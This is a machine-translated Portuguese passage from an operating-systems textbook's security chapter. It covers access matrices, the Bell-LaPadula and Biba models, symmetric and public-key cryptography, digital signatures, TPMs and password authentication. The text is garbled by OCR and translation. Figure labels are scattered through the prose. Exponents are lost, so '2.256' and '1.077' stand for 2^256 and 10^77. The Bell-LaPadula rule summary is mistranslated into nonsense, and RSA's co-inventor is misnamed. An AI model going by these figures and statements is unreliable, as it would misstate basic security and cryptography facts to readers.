Estas seis primitivas podem ser combinadas em comandos de proteção. São esses comandos 
de proteção que os programas do usuário podem executar para alterar a matriz. Eles não podem 
executar os primitivos diretamente. Por exemplo, o sistema pode ter um comando para criar um novo 
arquivo, que testaria se o arquivo já existia e, caso contrário, criaria um novo objeto e concederia ao 
proprietário todos os direitos sobre ele. Também pode haver um comando para permitir que o proprietário 
conceda permissão de leitura do arquivo a todos no sistema, na verdade, inserindo o direito "ler" na 
entrada do novo arquivo em cada domínio. 


A qualquer instante, a matriz determina o que um processo em qualquer domínio pode fazer, e não 
o que está autorizado a fazer. A matriz é o que é imposto pelo sistema; a autorização tem a ver com a 
política de gestão. Como exemplo dessa distinção, consideremos o sistema simples da Figura 9.10, no 
qual os domínios correspondem aos usuários. 
Na Figura 9.10(a), vemos a política de proteção pretendida: Henry pode ler e escrever na caixa de 
correio”, Roberta pode ler e escrever em segredo e todos os três usuários podem ler e executar o 
compilador. 

Agora imagine que Roberta é muito esperta e encontrou uma maneira de emitir comandos para 
alterar a matriz conforme a Figura 9.10(b). Ela agora obteve acesso ilícito à caixa de correio”, algo que 
ela está proibida de ter. Se ela tentar ler, 
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Objetos Objetos 
Caixa de correio do compilador 7 Segredo Caixa de correio do compilador 7 Segredo 


Érica Ler Érica Ler 
Executar Executar 
Ler Ler Ler Ler 
Executar Escrever Executar Escrever 


Ler Ler Ler bër Ler 
Executar Escrever Executar Escrever 
(a) (b) 


Figura 9-10. (a) Um estado autorizado. (b) Um estado não autorizado. 


Henrique] Henrique) 


Roberta Roberta 


o sistema atenderá a sua solicitação porque não sabe que o estado de 
A Figura 9.10(b) não é autorizada. 

Agora deve estar claro que o conjunto de todas as matrizes possíveis pode ser particionado 
em dois conjuntos disjuntos: o conjunto de todos os estados autorizados e o conjunto de todos os estados não autorizados. 
estados. Uma questão em torno da qual muita pesquisa teórica tem girado é esta: 
"Dado um estado autorizado inicial e um conjunto de comandos, pode ser provado que o 
sistema nunca pode atingir um estado não autorizado?" 

Com efeito, estamos perguntando se o mecanismo disponível (os comandos de proteção) 
é adequado para aplicar alguma política de proteção. Dada esta política, algum estado inicial 
da matriz, e o conjunto de comandos para modificar a matriz, o que teríamos 
like é uma forma de provar que o sistema é seguro. Tal prova revela-se bastante difícil de obter; muitos 
sistemas de uso geral não são teoricamente seguros. Harrison et al. (1976) provaram que no caso de 
uma configuração arbitrária para um sistema de proteção arbitrário, a segurança é teoricamente 
indecidível. Contudo, para um sistema específico, pode ser possível provar se o sistema pode alguma 
vez passar de 
um estado autorizado para um estado não autorizado. Para obter mais informações, consulte Landwehr 
(1981). 


9.3.1 Segurança Multinível 


A maioria dos sistemas operacionais permite que usuários individuais determinem quem pode ler e 
escreva seus arquivos e outros objetos. Esta política é chamada de controle de acesso discricionário. 
Em muitos ambientes este modelo funciona bem, mas há outros ambientes onde é necessária uma 
segurança muito mais rigorosa, como os militares, empresariais 
departamentos de patentes e hospitais. Nestes últimos ambientes, a organização tem 
regras declaradas sobre quem pode ver o quê, e estas não podem ser modificadas por indivíduos 
soldados, advogados ou médicos, pelo menos não sem obter permissão especial de 
do chefe (e provavelmente também dos advogados do chefe). Esses ambientes precisam 
controles de acesso obrigatórios para garantir que as políticas de segurança declaradas sejam aplicadas 
pelo sistema, além dos controles de acesso discricionários padrão. O que estes 


Machine Translated by Google 


630 SEGURANÇA INDIVÍDUO. 9 


a função dos controlos de acesso obrigatórios é regular o fluxo de informação, para garantir que 


esta não vaze de uma forma que não deveria. Nem mesmo se um usuário mal-intencionado tentar 
vazá-lo. 


O modelo Bell-LaPadula 


O modelo de segurança multinível mais utilizado é o modelo Bell-LaPadula , portanto 
começaremos por aí (Bell e LaPadula, 1973). Este modelo foi concebido para lidar com a segurança 
militar, mas também é aplicável a outras organizações. No mundo militar, os documentos (objetos) 
podem ter um nível de segurança, como não classificado, confidencial, secreto e ultrassecreto. As 
pessoas também recebem esses níveis, dependendo de quais documentos elas podem ver. Um 
general pode ter permissão para ver todos os documentos, enquanto um tenente pode ficar restrito 
a documentos considerados confidenciais e inferiores. Um processo executado em nome de um 
usuário adquire o nível de segurança do usuário. Como existem vários níveis de segurança, esse 
esquema é chamado de sistema de segurança multinível. 


O modelo Bell-LaPadula tem regras sobre como as informações podem fluir: 


1. A propriedade de segurança simples: um processo em execução no nível de 
segurança k pode ler apenas objetos de seu nível ou inferior. Por exemplo, um 


general pode ler os documentos de um tenente, mas um tenente não pode ler os 
documentos de um general. 


2. À propriedade * : Um processo em execução no nível de segurança k pode gravar 
apenas objetos em seu nível ou superior. Por exemplo, um tenente pode anexar 
uma mensagem à caixa de correio de um general contando tudo o que sabe, mas 
um general não pode anexar uma mensagem à caixa de correio de um tenente 
contando tudo o que sabe porque o general pode ter visto documentos ultrassecretos 
que podem não ser divulgados a ele. um tenente. 


Resumindo, os processos podem ler e escrever, mas não o contrário. 

Se o sistema aplicar rigorosamente essas duas propriedades, poderá ser demonstrado que 
nenhuma informação pode vazar de um nível de segurança mais alto para um mais baixo. A 
propriedade * recebeu esse nome porque, no relatório original, os autores não conseguiram pensar 
em um bom nome para ela e usaram * como um espaço reservado temporário até que pudessem 
conceber um nome melhor. Eles nunca o fizeram e o relatório foi impresso com o *. Neste modelo, 
os processos leem e gravam objetos, mas não se comunicam diretamente entre si. 

O modelo Bell-LaPadula é ilustrado graficamente na Figura 9-11. 

Nesta figura, uma seta (sólida) de um objeto para um processo indica que o processo está 
lendo o objeto, ou seja, a informação está fluindo do objeto para o processo. Da mesma forma, 
uma seta (tracejada) de um processo para um objeto indica que o processo está escrevendo no 
objeto, ou seja, a informação está fluindo do processo para o objeto. Assim, todas as informações 
fluem na direção das setas. Por exemplo, o processo B pode ler do objeto 1, mas não do objeto 3. 
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Nível de segurança 


Lenda 


Processo Objeto 


= 


Figura 9-11. O modelo de segurança multinível Bell-LaPadula. 


A propriedade de segurança simples diz que todas as setas sólidas (de leitura) vão para os 
lados ou para cima. A propriedade * diz que todas as setas tracejadas (gravação) também vão 
para os lados ou para cima. Como a informação flui apenas horizontalmente ou para cima, 
qualquer informação que comece no nível k nunca poderá aparecer num nível inferior. Ou seja, 
nunca existe um caminho que mova a informação para baixo, garantindo assim a segurança do 
modelo. 

O modelo Bell-LaPadula refere-se à estrutura organizacional, mas, em última análise, deve 
ser aplicado pelo sistema operacional. Uma maneira de fazer isso é atribuir a cada usuário um 
nível de segurança, a ser armazenado junto com outros dados específicos do usuário, como 
UID e GID. Após o login, o shell do usuário adquiriria o nível de segurança do usuário e este 
seria herdado por todos os seus filhos. Se um processo em execução no nível de segurança k 
tentar abrir um arquivo ou outro objeto cujo nível de segurança seja maior que k, o sistema 
operacional deverá rejeitar a tentativa de abertura. Da mesma forma, as tentativas de abrir 
qualquer objeto com nível de segurança inferior a k para gravação devem falhar. Isto é 
extremamente simples e fácil de aplicar. Basta adicionar duas declarações if ao código e, bingo, 
um sistema seguro — pelo menos para os militares. 


O modelo Biba 


Para resumir o modelo Bell-LaPadula em termos militares, um tenente pode pedir a um 
soldado que revele tudo o que sabe e depois copiar esta informação para o ficheiro de um 
general sem violar a segurança. Agora coloquemos o mesmo modelo em termos civis. Imagine 
uma empresa em que os zeladores tenham nível de segurança 1, os programadores de 
computador tenham nível de segurança 3 e o presidente da empresa tenha nível de segurança 5. Usando Bell- 
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LaPadula, um programador pode consultar um zelador sobre os planos futuros da empresa e então sobrescrever 
os arquivos do presidente que contêm a estratégia corporativa. Nem todas as empresas podem estar igualmente 
entusiasmadas com este modelo. 

O problema com o modelo Bell-LaPadula é que ele foi concebido para manter segredos e não para garantir 
a integridade dos dados. Para este último, necessitamos precisamente das propriedades inversas (Biba, 1977): 


1. A propriedade de integridade simples: um processo em execução no nível de segurança k 
pode gravar apenas objetos de seu nível ou inferior (sem gravação). 


2. A propriedade integridade * : Um processo em execução no nível de segurança k pode ler 
apenas objetos de seu nível ou superior (sem leitura). 


Juntas, essas propriedades garantem que o programador possa atualizar os arquivos do zelador com informações 
adquiridas do presidente, mas não vice-versa. É claro que algumas organizações querem tanto as propriedades 
Bell-LaPadula como as propriedades Biba, mas estas estão em conflito direto, por isso são difíceis de alcançar 


simultaneamente. 
9.3.2 Criptografia 


Abordagens formais e rigor matemático também podem ser encontrados na criptografia. 

Os sistemas operacionais usam soluções criptográficas em muitos lugares. Por exemplo, alguns sistemas de 
arquivos criptografam todos os dados no disco, enquanto protocolos como o IPSec podem criptografar ou assinar 
o conteúdo dos pacotes de rede. Mesmo assim, a criptografia em si está para os desenvolvedores de sistemas 
operacionais como o motor de combustão interna ou motor elétrico está para os motoristas: você realmente não 
precisa entender os detalhes, desde que possa usá-la. Nesta seção, nos limitaremos a uma visão panorâmica da 
criptografia. 

O objetivo da criptografia é pegar uma mensagem ou arquivo, chamado texto simples, e criptografá-lo em 
texto cifrado de tal forma que apenas pessoas autorizadas saibam como convertê-lo novamente em texto 
simples. Para todos os outros, o texto cifrado é apenas uma pilha incompreensível de bits. Por mais estranho 
que possa parecer para iniciantes na área, os algoritmos (funções) de criptografia e descriptografia devem ser 
sempre públicos. Tentar mantê-los em segredo quase nunca funciona e dá às pessoas que tentam manter os 
segredos uma falsa sensação de segurança. No comércio, essa tática é cnamada de segurança pela 
obscuridade e é empregada apenas por amadores em segurança. Curiosamente, a categoria de amadores 


também inclui muitas grandes corporações multinacionais que realmente deveriam saber mais. 


Como mencionado anteriormente, este é apenas o princípio de Kerckhoffs. 

Em vez disso, o sigilo depende de parâmetros dos algoritmos chamados chaves. Se P é o arquivo de texto 
simples, KE é a chave de criptografia, C é o texto cifrado e E é o algoritmo de criptografia (isto é, função), então 
C = E(P, KE). Esta é a definição de criptografia. Diz que o texto cifrado é obtido usando o algoritmo de criptografia 
(conhecido), E, com o texto simples, P, e a chave de criptografia (secreta), KE, como parâmetros. A ideia de que 
todos os algoritmos devem ser públicos e o sigilo deve residir exclusivamente nas chaves é chamada de 
princípio de Kerckhoff, conforme mencionado anteriormente. Todos os criptógrafos sérios concordam com esta 
ideia. 
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Da mesma forma, P = D(C, KD) onde D é o algoritmo de descriptografia e KD é o 
chave de descriptografia. Isto diz que para obter o texto simples, P, de volta do texto cifrado, C, 
e a chave de descriptografia, KD, executa-se o algoritmo D com Ce KD como parâmetros. A relação entre as 
várias peças é mostrada na Figura 9-12. 


Dai Chave de encriptação PA Chave de descriptografia 


KE KD 


C = E(P, KE) P = D(C, KD) 


Pi aj E 


Texto cifrado 


Texto simples em Saída de texto simples 


Criptografia Descriptografia 
algoritmo algoritmo 
Criptografia Descriptografia 


Figura 9-12. Relação entre o texto simples e o texto cifrado. 


Criptografia de chave secreta 


Para deixar isso mais claro, considere um algoritmo de criptografia no qual cada letra é 
substituído por uma letra diferente, por exemplo, todos os As são substituídos por Qs, todos os Bs são 
substituídos por Ws, todos os Cs são substituídos por Es, e assim por diante: 


texto simples: ABCDEFGHIJKLMNOPQRSTUVWXYZ 
texto cifrado: QW E RT YU IO PA SDF GH JKLZ XC VB NM 


Este sistema geral é chamado de substituição monoalfabética, com a chave sendo 
a sequência de 26 letras correspondente ao alfabeto completo. A chave de criptografia neste 
exemplo é QWERTYUIOPASDFGHJKLZXCVBNM. Para a chave fornecida acima, o 
o texto simples ATTA CK seria transformado no texto cifrado QZZQEA. O 
a chave de descriptografia informa como voltar do texto cifrado para o texto simples. Nisso 
Por exemplo, a chave de descriptografia é KXKVMCNOPHQRSZYIJADLEGWBUFT porque 
um A no texto cifrado é um K no texto simples, um B no texto cifrado é um X no 
texto simples, etc. 
Embora a criptografia seja extremamente simples de quebrar, ela serve como uma boa ilustração 
de uma importante classe de sistemas criptográficos. Quando é fácil obter o 
chave de descriptografia da criptografia, como neste caso, é chamada de criptografia de chave secreta ou 
criptografia de chave simétrica. Embora as cifras de substituição monoalfabéticas sejam completamente 
inúteis, outros algoritmos de chave simétrica são conhecidos. 
e são relativamente seguros se as chaves forem longas o suficiente. Para maior segurança, chaves de no 
mínimo 256 bits devem ser usadas, proporcionando um espaço de busca de 2.256 chaves 1,2 x 1.077. 
Para referência, o número de átomos em todo o universo observável, em todos os 
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galáxias combinadas, é estimado em cerca de 1.078, apenas 10 vezes maior, então 1.077 é um 
número bastante grande. Chaves mais curtas podem frustrar os amadores, mas certamente não os 
grandes governos. 


Criptografia de chave pública 


Os sistemas de chave secreta são eficientes porque a quantidade de computação necessária 
para criptografar ou descriptografar uma mensagem é administrável, mas eles têm uma grande 
desvantagem: tanto o remetente quanto o destinatário devem possuir a chave secreta compartilhada. 
Eles podem até ter que se reunir fisicamente para que um possa dar ao outro. Para contornar este 
problema, é utilizada criptografia de chave pública (Diffie e Hellman, 1976). Este sistema tem a 
propriedade de que chaves distintas são usadas para criptografia e descriptografia e que, dada uma 
chave de criptografia bem escolhida, é virtualmente impossível descobrir a chave de descriptografia 
correspondente. Nestas circunstâncias, a chave de encriptação pode ser tornada pública e apenas 
a chave de desencriptação privada pode ser mantida em segredo. 

Apenas para dar uma ideia da criptografia de chave pública, considere as duas questões a 
seguir: 


Pergunta 1: Quanto é 314159265358979 x 314159265358979? 
Pergunta 2: Qual é a raiz quadrada de 3912571506419387090594828508241? 


A maioria dos alunos da sexta série, se recebessem um lápis, papel e a promessa de um grande 
sundae de sorvete como resposta correta, poderiam responder à pergunta 1 em uma ou duas horas. 
A maioria dos adultos que receberam lápis, papel e a promessa de um corte de impostos vitalício 
de 50% não conseguiram resolver a questão 2 sem usar uma calculadora, um computador ou outra 
ajuda externa. Embora a quadratura e a raiz quadrada sejam operações inversas, elas diferem 
enormemente em sua complexidade computacional. Este tipo de assimetria constitui a base da 
criptografia de chave pública. A criptografia utiliza uma operação fácil, mas a descriptografia sem a 
chave exige que você execute uma operação difícil. 

Por exemplo, um sistema popular de chave pública cnamado RSA (em homenagem aos 
designers Ron Rivest, Adi Shamir e Len Adelson) explora o fato de que multiplicar números 
realmente grandes é muito mais fácil para um computador do que fatorar números realmente 
grandes. , especialmente quando toda aritmética é feita usando módulo aritmético e todos os 
números envolvidos possuem centenas de dígitos (Rivest et al., 1978). 

A forma como a criptografia de chave pública funciona é que todos escolhem um par (chave 
pública, chave privada) e publicam a chave pública. A chave pública é a chave de criptografia; a 
chave privada é a chave de descriptografia. Normalmente, a geração da chave é automática, 
possivelmente com uma senha selecionada pelo usuário inserida no algoritmo como semente. Para 
enviar uma mensagem secreta a um usuário, um correspondente criptografa a mensagem com a 
chave pública do destinatário. Como apenas o destinatário possui a chave privada, somente o 
destinatário pode descriptografar a mensagem. 

A criptografia de chave pública é ótima porque você pode simplesmente publicar sua chave 
pública e todos poderão usá-la e ter certeza de que somente você poderá ler a mensagem. Em 
contraste, com a criptografia de chave secreta você precisa se preocupar em obter a chave do 
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comunicar as partes de maneira segura. Por que alguém iria usá-lo? A resposta é simples. O 
principal problema da criptografia de chave pública é que ela é mil vezes mais lenta que a 
criptografia simétrica. 


Assinaturas digitais 


Frequentemente é necessário assinar um documento digitalmente. Por exemplo, suponha 
que um cliente de banco instrua o banco a comprar algumas ações para ele, enviando ao banco 
uma mensagem de e-mail. Uma hora após o pedido ter sido enviado e executado, o estoque 
quebra. O cliente agora nega ter enviado o e-mail. O banco pode produzir o e-mail, é claro, mas 
o cliente pode alegar que o banco o falsificou para receber uma comissão. Como um juiz sabe 
quem está dizendo a verdade? 

As assinaturas digitais permitem assinar e-mails e outros documentos digitais de forma que 
não possam ser posteriormente repudiados pelo remetente. Uma maneira comum é primeiro 
executar o documento por meio de um algoritmo hash criptográfico unidirecional . 

Tal função tem a propriedade de que, dado fe seu parâmetro x, calcular y = f (x) é fácil de fazer, 
mas dado apenas f (x), encontrar x é computacionalmente inviável. 

A função hash normalmente produz um resultado de comprimento fixo independente do tamanho 
do documento original. As funções hash populares são SHA-256 e SHA-512, que produzem 
resultados de 32 bytes e 64 bytes, respectivamente. 

O próximo passo pressupõe o uso de criptografia de chave pública conforme descrito acima. 
O proprietário do documento então aplica sua chave privada ao hash para obter D(hash). Este 
valor, denominado bloco de assinatura, é anexado ao documento e enviado ao destinatário, 
conforme mostrado na Figura 9-13. 


Documento 
compactado em Valor de hash 
um valor executado em D 


Documento | hash Documento 
original D(hash) original 


Bloco de 
assinaturd, 


(a) 


Figura 9-13. (a) Calculando um bloco de assinatura. (b) O que o receptor recebe. 


Quando o documento e o hash chegam, o receptor primeiro calcula o hash do documento 
usando SHA-256 ou qualquer função de hash criptográfica previamente acordada. O receptor 
então aplica a chave pública do remetente ao bloco de assinatura para obter E(D(hash)), 
recuperando o hash original. Observe que isso pressupõe um sistema criptográfico onde E(D(x)) 
=x. Felizmente, a RSA possui essa propriedade. Se o hash calculado não corresponder ao hash 
do bloco de assinatura, o documento, o bloco de assinatura ou ambos foram adulterados (ou 
alterados por 
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acidente). O valor desse esquema é que ele aplica criptografia de chave pública (muito lenta) apenas a um 
dado relativamente pequeno, o hash. Para usar esta assinatura 

esquema, o destinatário deve conhecer a chave pública do remetente. Muitos usuários, portanto, publicam sua 
chave pública em suas páginas da Web. 


9.3.3 Módulos de Plataforma Confiáveis 


Toda criptografia requer chaves. Se as chaves forem comprometidas, toda a segurança 
baseado neles também está comprometido. Armazenar as chaves com segurança é, portanto, essencial. 
Como armazenar chaves com segurança em um sistema que não é seguro? 
Uma proposta que a indústria apresentou é um chip chamado TPM 
(Trusted Platform Module), que é um criptoprocessador com alguns recursos não voláteis 
armazenamento dentro dele para chaves. O TPM pode realizar operações criptográficas como 
criptografar blocos de texto simples ou descriptografar blocos de texto cifrado na memória principal. 
Ele também pode verificar assinaturas digitais. Quando todas essas operações são realizadas em hardware 
especializado, elas se tornam muito mais rápidas e provavelmente serão utilizadas de forma mais ampla. 
Muitos computadores já possuem chips TPM e muitos outros provavelmente os terão 
no futuro. 
O TPM é controverso porque diferentes partidos têm ideias diferentes sobre quem 
controlará o TPM e o que ele protegerá de quem. A Microsoft tem sido uma grande 
defensor deste conceito e desenvolveu uma série de tecnologias para utilizá-lo, 
incluindo Palladium, NGSCB e BitLocker. Na sua opinião, o sistema operacional 
controla o TPM e o utiliza, por exemplo, para criptografar o disco. No entanto, também 
deseja usar o TPM para impedir a execução de software não autorizado. "Software não autorizado" pode ser 
software pirata (ou seja, copiado ilegalmente) ou apenas software 
o sistema operacional não autoriza. Se o TPM estiver envolvido na inicialização 
processo, ele pode iniciar apenas sistemas operacionais assinados por uma chave secreta colocada dentro 
o TPM pelo fabricante e divulgado apenas para fornecedores de sistemas operacionais selecionados (por 
exemplo, Microsoft). Assim, o TPM poderia ser usado para limitar as escolhas de software dos utilizadores aos 
aprovados pelo fabricante do computador (possivelmente em troca de um 
grande taxa). 
As indústrias da música e do cinema também estão muito interessadas no TPM, pois ele poderia ser usado 
para evitar a pirataria de seu conteúdo. Poderia também abrir novos modelos de negócios, como 
como alugar músicas ou filmes por um período específico de tempo, recusando-se a descriptografá-los 
após a data de vencimento. 
Um uso interessante para TPMs é conhecido como atestado remoto. Ele permite um 
parte externa para verificar se o computador com o TPM executa o software que deveria 
estar em execução, e não algo em que não se possa confiar. Veremos remotamente 
atestado mais tarde, quando introduzirmos a inicialização segura. 
O TPM tem uma variedade de outros usos que não temos espaço para abordar. Curiosamente, a única 
coisa que o TPM não faz é tornar os computadores mais seguros. 
contra ataques externos. O que realmente foca é no uso de criptografia para prevenir 
os usuários façam qualquer coisa que não seja aprovada direta ou indiretamente por quem controla 


Machine Translated by Google 


SEC. 9.4 MODELOS FORMAIS DE SISTEMAS SEGUROS 637 


o TPM. Se você quiser saber mais sobre esse assunto, o artigo sobre Trusted 
A computação na Wikipedia é um bom lugar para começar. 


9.4 AUTENTICAÇÃO 


Todo sistema de computador seguro deve exigir que todos os usuários sejam autenticados em 
hora de login. Afinal, se o sistema operacional não consegue ter certeza de quem é o usuário, ele não consegue 
saber quais arquivos e outros recursos ele pode acessar. Embora a autenticação possa parecer um assunto 


trivial, é um pouco mais complicado do que você imagina. Leia. 


A autenticação do usuário é uma daquelas coisas que entendemos por “ontogenia recapitula a filogenia” 
na Seção. 1.5.7. Os primeiros mainframes, como o ENIAC, não 
ter um sistema operacional, muito menos um procedimento de login. Lote de mainframe posterior e 
os sistemas de timesharing geralmente tinham um procedimento de login para autenticar trabalhos 
e usuários. 

Os primeiros minicomputadores (por exemplo, PDP-1 e PDP-8) não tinham um procedimento de login, 
mas com a disseminação do UNIX no minicomputador PDP-11, o login foi novamente 
necessário. Os primeiros computadores pessoais (por exemplo, Apple Il e o IBM PC original) não 
possuem um procedimento de login, mas sistemas operacionais de computadores pessoais mais sofisticados, 
como Linux e Windows, possuem (embora usuários tolos possam desativá-lo). 
Máquinas em LANs corporativas quase sempre possuem um procedimento de login configurado para 
que os usuários não podem contorná-lo. Finalmente, muitas pessoas hoje em dia (indiretamente) fazem login 
computadores remotos para fazer transações bancárias pela Internet, fazer compras eletrônicas, baixar músicas, 
e outras atividades comerciais. Todas essas coisas exigem login autenticado, então 
a autenticação do usuário é mais uma vez um tópico importante. 

Tendo determinado que a autenticação é muitas vezes importante, o próximo passo é 
encontre uma boa maneira de alcançá-lo. A maioria dos métodos de autenticação de usuários quando eles 
tentativa de login baseiam-se em um de três princípios gerais, ou seja, identificar 


1. Algo que o usuário conhece. 
2. Algo que o usuário possui. 
3. Algo que o usuário é. 


Às vezes, dois deles são necessários para segurança adicional. Esses princípios levam 
a diferentes esquemas de autenticação com diferentes complexidades e propriedades de segurança. Nas 


seções seguintes, examinaremos cada um deles separadamente. 
9.4.1 Senhas 


A forma de autenticação mais utilizada é exigir que o usuário digite um 
nome de login e uma senha. A proteção por senha é fácil de entender e fácil de 
implemento. A implementação mais simples mantém apenas uma lista central de (nome de login, 
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senha) pares. O nome de login digitado é procurado na lista e o nome de login digitado 
a senha é comparada com a senha armazenada. Se corresponderem, o login é permitido; 
se não corresponderem, o login será rejeitado. 
É quase desnecessário dizer que enquanto uma senha está sendo digitada, o computador não deve 
exibir os caracteres digitados, para evitar que olhares indiscretos estejam próximos. 
o monitor. No Windows, à medida que cada caractere é digitado, um asterisco é exibido. 
Na maioria dos sistemas UNIX, nada é exibido enquanto a senha está sendo 
digitado. Esses esquemas têm propriedades diferentes. O esquema do Windows pode fazer 
é fácil para usuários distraídos ver quantos caracteres eles digitaram até agora, 
mas também divulga o comprimento da senha para "bisbilhoteiros" (por algum motivo, 
O inglês tem uma palavra para bisbilhoteiros auditivos, mas não para bisbilhoteiros visuais, exceto 
talvez Peeping Tom, o que não parece certo neste contexto). De um segurança 
perspectiva, o silêncio vale ouro. 
Outra área em que não acertar tem sérias implicações de segurança é ilustrada na Figura 9.14. Na 
Figura 9.14(a), um login bem-sucedido é mostrado, com 
saída do sistema em maiúsculas e entrada do usuário em minúsculas. Na Figura 9.14(b), uma falha 
a tentativa de um cracker de fazer login no Sistema A é mostrada. Na Figura 9.14(c), uma tentativa fracassada 
por um cracker para fazer login no Sistema B é mostrado. 


LOGIN: mitch LOGIN: carol LOGIN: carol 
SENHA: FooBar! -7 LOGIN NOME DE LOGIN INVÁLIDO SENHA: Não sei 
COM SUCESSO CONECTE-SE: LOGIN INVÁLIDO 


CONECTE-SE: 


(a) (b) (c) 


Figura 9-14. (a) Um login bem-sucedido. (b) Login rejeitado após a inserção do nome. 
(c) Login rejeitado após digitação de nome e senha. 


Na Figura 9.14(b), o sistema reclama assim que vê um nome de login inválido. 
Este é um grande erro, pois permite que o cracker continue tentando nomes de login até conseguir 
encontra um válido. Na Figura 9.14(c), sempre é solicitada uma senha ao cracker e 
não recebe nenhum feedback sobre se o próprio nome de login é válido. Tudo o que ela aprende é que 
a combinação de nome de login e senha tentada está errada. 

Além dos procedimentos de login, a maioria dos notebooks são configurados para 
exigem um nome de login e senha para proteger seu conteúdo caso sejam 
perdido ou roubado. Embora seja melhor que nada, não é muito melhor que nada. Qualquer pessoa que tiver 
o notebook pode ligá-lo e entrar imediatamente no 
Programa de configuração do BIOS pressionando DEL ou F8 ou alguma outra tecla específica do BIOS 
(geralmente exibida na tela) antes de o sistema operacional ser iniciado. Uma vez lá, ele 
pode alterar a sequência de inicialização, informando-o para inicializar a partir de um pendrive antes de tentar o 
disco rígido. O localizador então insere um pendrive contendo um sistema operacional completo e inicializa a 
partir dele. Depois de executado, o disco pode ser montado (no UNIX) ou acessado como unidade D: 
(Windows). Para evitar esse tipo de situação, a maioria dos BIOS 
permitir que o usuário proteja com senha o programa de configuração do BIOS para que apenas o proprietário 
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pode alterar a sequência de inicialização. Se você tem um notebook, pare de ler agora. 
Coloque uma senha no seu BIOS e volte. 

Outra coisa que os sistemas modernos tendem a fazer é criptografar todo o conteúdo do seu 
dirigir. Isto é uma coisa boa. Ele garante que mesmo que os invasores consigam ler o texto bruto 
blocos da sua unidade, eles verão apenas dados distorcidos. Novamente, se você não tiver 
isso ativado, largue este livro e conserte isso primeiro. 


Senhas fracas 


Muitas vezes, os crackers invadem simplesmente conectando-se ao computador alvo (por exemplo, 
pela Internet) e tentando muitas combinações (nome de login, senha) até 
encontre um que funcione. Muitas pessoas usam seu próprio nome de uma forma ou de outra como 
seu nome de login. Para alguém cujo nome completo é "Ellen Ann Smith", Ellen, 
smith, ellen smith, ellen-smith, ellen.smith, esmith, easmith e eas são todos candidatos razoáveis. 
Armado com um daqueles livros intitulado 4.096 Nomes para Seu 
New Baby, além de uma lista telefônica cheia de sobrenomes, um cracker pode facilmente compilar um 
lista informatizada de possíveis nomes de login apropriados ao país que está sendo atacado (Ellen 
Smith pode funcionar bem nos Estados Unidos ou na Inglaterra, mas provavelmente não no Japão). 


Claro, adivinhar o nome de login não é suficiente. A senha deve ser 
adivinhou também. Quão difícil é isso? Mais fácil do que você pensa. O trabalho clássico sobre 
segurança de senhas foi realizado por Morris e Thompson (1979) em sistemas UNIX. Eles 
compilou uma lista de senhas prováveis: nomes e sobrenomes, nomes de ruas, nomes de cidades, 
palavras de um dicionário de tamanho moderado (também palavras escritas ao contrário), números de 
placas de veículos sintaticamente válidos, etc. 
arquivo de senha para ver se houve alguma correspondência. Mais de 86% de todas as senhas foram alteradas 
na lista deles. 

Para que ninguém pense que usuários de melhor qualidade escolhem senhas de melhor qualidade, descanse 
certeza de que não. Quando em 2012, 6,4 milhões de senhas do Linkedin (com hash) 
vazou para a Web após um hack, muitas pessoas se divertiram analisando os resultados. O 
a senha mais popular foi "senha". A segunda mais popular foi "123456" 
("1234", "12345" e "12345678" também estavam entre os 10 primeiros). Não exatamente 
inquebrável. Na verdade, os crackers podem compilar uma lista de possíveis nomes de login e uma lista 
de possíveis senhas sem muito trabalho e execute um programa para experimentá-las como 
quantos computadores puderem. 

Isso é semelhante ao que os pesquisadores da IO Active fizeram alguns anos atrás. Eles 
examinou uma longa lista de roteadores domésticos e decodificadores para ver se eles eram vulneráveis 
ao ataque mais simples possível. Em vez de experimentar vários nomes de login e senhas, como 
sugerimos, eles tentaram apenas o login e a senha padrão bem conhecidos. 
instalados pelos fabricantes. Os usuários deveriam alterar esses valores imediatamente, mas parece 
que muitos não o fazem. Os pesquisadores descobriram que centenas de 
milhares desses dispositivos são potencialmente vulneráveis. Talvez ainda mais preocupante, 
o ataque Stuxnet a uma instalação nuclear iraniana aproveitou bem o facto de o 
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Os computadores da Siemens que controlavam as centrífugas usavam uma senha padrão — uma senha 
que circulava na Internet há anos. 

O crescimento da Web piorou o problema. Em vez de ter apenas uma senha, muitas pessoas agora 
possuem dezenas ou centenas. Como lembrar de todas elas é muito difícil, eles tendem a escolher senhas 
simples e fracas e reutilizá-las em muitos sites (Florencio e Herley, 2007; e Taiabul Haque et al., 2013). 


Realmente importa se as senhas são fáceis de adivinhar? Sim absolutamente. Em 1998, o San Jose 
Mercury News informou que um residente de Berkeley, Peter Shipley, havia configurado vários 
computadores não utilizados como discadores de guerra, que discavam todos os 10.000 números de 
telefone pertencentes a uma central [por exemplo, (415) 770-xxxx], geralmente em ordem aleatória para 
impedir as companhias telefônicas que desaprovam esse uso e tentam detectá-lo. 

Depois de fazer 2,6 milhões de ligações, ele localizou 20 mil computadores na Bay Area, 200 dos quais 
não tinham segurança alguma. 

A Internet tem sido uma dádiva de Deus para os crackers. Isso elimina todo o trabalho enfadonho de 
seu trabalho. Não há mais números de telefone para discar (e não há mais tons de discagem para esperar). 
"Discagem de guerra" agora funciona assim. Um cracker pode escrever um script ping (enviar um pacote 
de rede) para um conjunto de endereços IP. Se receber alguma resposta, o script tentará posteriormente 
configurar uma conexão TCP para todos os serviços possíveis que possam estar em execução na máquina. 
Como mencionado anteriormente, esse mapeamento do que está sendo executado em qual computador 
é conhecido como portscanning e, em vez de escrever um script do zero, o invasor também pode usar 
ferramentas especializadas como o nmap, que fornece uma ampla gama de técnicas avançadas de 
portscanning . Agora que o invasor sabe quais servidores estão sendo executados em qual máquina, o 
próximo passo é lançar o ataque. Por exemplo, se o invasor quisesse testar a proteção por senha, ele se 
conectaria aos serviços que usam esse método de autenticação, como os servidores tel net ou ssh , ou 
mesmo servidores Web. Já vimos que senhas padrão e fracas permitem que invasores coletem um 


grande número de contas, às vezes com direitos totais de administrador. 


Segurança de senha UNIX 


Alguns sistemas operacionais (mais antigos) mantêm o arquivo de senha no disco em formato não 
criptografado (texto simples), mas protegido pelos mecanismos usuais de proteção do sistema. Ter todas 
as senhas em um arquivo de disco em formato não criptografado é apenas uma busca por problemas, 
porque muitas vezes muitas pessoas têm acesso a elas. Estes podem incluir administradores de sistemas, 
operadores de máquinas, pessoal de manutenção, programadores, gestão e talvez até algumas secretárias. 


Uma solução melhor, usada em sistemas UNIX, funciona assim. O programa de login solicita que o 
usuário digite seu nome e senha. A senha é imediatamente “criptografada” usando-a como uma chave 
para criptografar um bloco fixo de dados. Efetivamente, uma função unidirecional está sendo executada, 
